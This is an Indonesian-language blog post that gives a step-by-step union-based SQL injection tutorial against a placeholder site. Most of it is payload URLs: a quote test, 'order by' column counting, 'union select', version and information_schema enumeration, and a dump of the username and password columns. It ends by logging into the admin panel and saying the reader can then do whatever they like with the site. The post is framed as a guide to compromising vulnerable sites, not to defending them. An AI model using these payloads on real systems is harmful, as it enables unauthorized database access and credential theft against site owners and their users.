\
Powered by Blogger.
Tags:

basic sql injection

By admin → Sunday, November 4, 2012

ok langsung aja, pertama cari dulu target yang vuln sql injection.
contoh disini saya mempunya target yaitu "http://www.site.com/index.php?id=1"

langkah pertama yang dilakukan adalah melakukan pengecekan apakah site ini benar mempunyai bug sql injection dengan menambahkan query "tanda petik" di belakang URL nya.
e.x
http://www.site.com/index.php?id=1'
kalau muncul pesan error (false) maka benar web ini rentan terhadap sql injection.
nah selanjutnya kita coba mencari dimana letak bug tersebut dengan menggunakan perintah "order by" disini kita akan mencari nilau true yang paling besar.
e.x
http://www.site.com/index.php?id=1+order+by+100--
kalau muncul pesan error maka turunkan nilai 100 menjadi lebih kecil
e.x
http://www.site.com/index.php?id=1+order+by+50-- (page error / false)
http://www.site.com/index.php?id=1+order+by+30-- (page error / false)
http://www.site.com/index.php?id=1+order+by+10-- (page normal / true)
http://www.site.com/index.php?id=1+order+by+11-- (page normal /true)
http://www.site.com/index.php?id=1+order+by+12-- (page error / false)
dari contoh diatas kita simpulkan bahwa nilau true yang paling besar adalah 11 karena 12 false.
langkah selanjutnya kita gunakan perintah "union+select" untuk melihat dimana kita bisa menyusup.
e.x
http://www.site.com/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11-- 
liat di web page nya, akan muncul angka dimana kita akan menginject script kita, disini saya contohkan  angka yang keluar adalah 5 maka langkah selanjutnya saya akan melihat versi berapa mysql nya.
e.x
http://www.site.com/index.php?id=1+union+select+1,2,3,4,@@version,6,7,8,9,10,11--
ternyata versi mysql nya adalah 5+ dengan versi 5+ maka kita akan bisa lebih mudah untuk melakukan sqli dengan perintah "where". tetapi kalau versinya 4+ maka akan sedikit lebih sulit karen kita versi ini biasanya blin sqli. baca tutor tentang blind sqli disini.

selanjutnya kita akan mengintip nama table yang ada di database web tersebut, begini caranya
e.x
http://www.site.com/index.php?id=1+union+select+1,2,3,4,group_concat(table_name),6,7,8,9,10,11+from information_schema.tables+where+table_schema=database()--
 ternyata muncul nama table nya "user:member:product" nah saya lebih tertarik dengan table "user" maka saya akan mengintip columnyang ada di dalam table user tersebut dengan cara sebagai berikut
e.x
http://www.site.com/index.php?id=1+union+select+1,2,3,4,group_concat(column_name),6,7,8,9,10,11+from+information_schema.columns+where+table_name=CHAR(117, 115, 101, 114)--

CHAR(117, 115, 101, 114) adalah bentuk mysql char dari "user", atau anda bisa menggunakan text to hex converter disini. tekan enter dan lihat apa yang keluar, disini saya menemukan "username:password" maka langkah selanjutnya adalah seperti ini
e.x
http://www.site.com/index.php?id=1+union+select+1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11+from+user--
dan yang keluar seperti ini "admin:123456", jadi username=admin dan password=123456. setelah itu silahkan cari admin login dan masukkan username dan password tadi. setelah itu terserah mau di apain tuh web.. heheheh

Post Tags:

Ichsan Bahri

I'm Ichsan. A full time web designer. I enjoy to make modern template. I love create blogger template and write about web design, blogger. Now I'm working with Themeforest. You can buy our templates from Themeforest.

No Comment to " basic sql injection "